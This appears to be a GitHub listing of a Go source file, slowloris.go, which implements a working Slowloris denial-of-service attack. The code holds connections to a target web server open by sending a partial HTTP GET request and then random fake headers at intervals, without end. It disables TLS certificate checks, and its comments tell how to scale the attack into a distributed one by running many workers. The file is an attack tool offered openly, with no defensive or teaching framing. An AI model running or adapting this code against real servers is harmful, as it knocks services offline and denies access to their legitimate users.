-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathslowloris.go
125 lines (109 loc) · 2.83 KB
/
slowloris.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
package main
import (
"context"
"crypto/tls"
"fmt"
"net"
"net/url"
"strings"
"time"
"github.com/icrowley/fake"
)
// Options holds configuration for slowloris attack workers
type Options struct {
URL *url.URL
UserAgent string
Secure bool
Count int64
Interval time.Duration
Timeout time.Duration
}
// Slowloris performs single threaded slow loris attack. If you want to run distributed
// attack, just run multiple calls of the function over the same URL.
func Slowloris(ctx context.Context, index int64, options Options) error {
// append port if not presented in the host
url := options.URL
conn, err := Dialer(url, options.Secure)
if err != nil {
fmt.Println(err)
return nil
return err
}
// send HTTP GET request line
getRequest := GetRequestLine(url.Path)
fmt.Printf("slowloris(%d): sending request line (%s)\n", index, getRequest)
line := httpLine(getRequest)
n, err := conn.Write([]byte(line))
if err != nil || n < len(line) {
return err
}
// send User-Agent header
userAgent := options.UserAgent
if userAgent == "random" {
userAgent = fake.UserAgent()
}
fmt.Printf("slowloris(%d): sending user agent (%s)\n", index, userAgent)
line = httpLine(Header("User-Agent", userAgent))
n, err = conn.Write([]byte(line))
if err != nil || n < len(line) {
return err
}
interval := options.Interval
for {
select {
case <-ctx.Done():
return nil
case <-time.After(interval):
header := RandomHeader()
fmt.Printf("slowloris(%d): send header (%s)\n", index, header)
line = httpLine(header)
n, err := conn.Write([]byte(line))
if err != nil || n < len(line) {
return err
}
}
}
return nil
}
// Dialer creates either non-secure or TLS secured TCP connection to send data
// to target server
func Dialer(url *url.URL, secure bool) (net.Conn, error) {
proto := "tcp"
host := url.Host
if !strings.Contains(host, ":") {
if secure {
host = fmt.Sprintf("%s:%s", url.Host, "443")
} else {
host = fmt.Sprintf("%s:%s", url.Host, "80")
}
}
// create tls tcp connection
if secure {
return tls.Dial(proto, host, &tls.Config{
InsecureSkipVerify: true,
})
}
// create non-secure tcp connection
return net.Dial(proto, host)
}
// GetRequestLine returns HTTP request line for GET request
func GetRequestLine(path string) string {
return fmt.Sprintf("GET %s HTTP/1.1", path)
}
// func Header formats header key and value
func Header(key, val string) string {
return fmt.Sprintf("%s: %s", strings.Title(key), val)
}
// RandomHeader generates a random HTTP header to send as part of the
// slowloris attack
func RandomHeader() string {
return Header(fake.Word(), fake.Word())
}
// ClosingLine sends a closing line for a HTTP request
func ClosingLine() string {
return httpLine(httpLine(""))
}
// httpLine appends end of header \r\n
func httpLine(str string) string {
return str + "\r\n"
}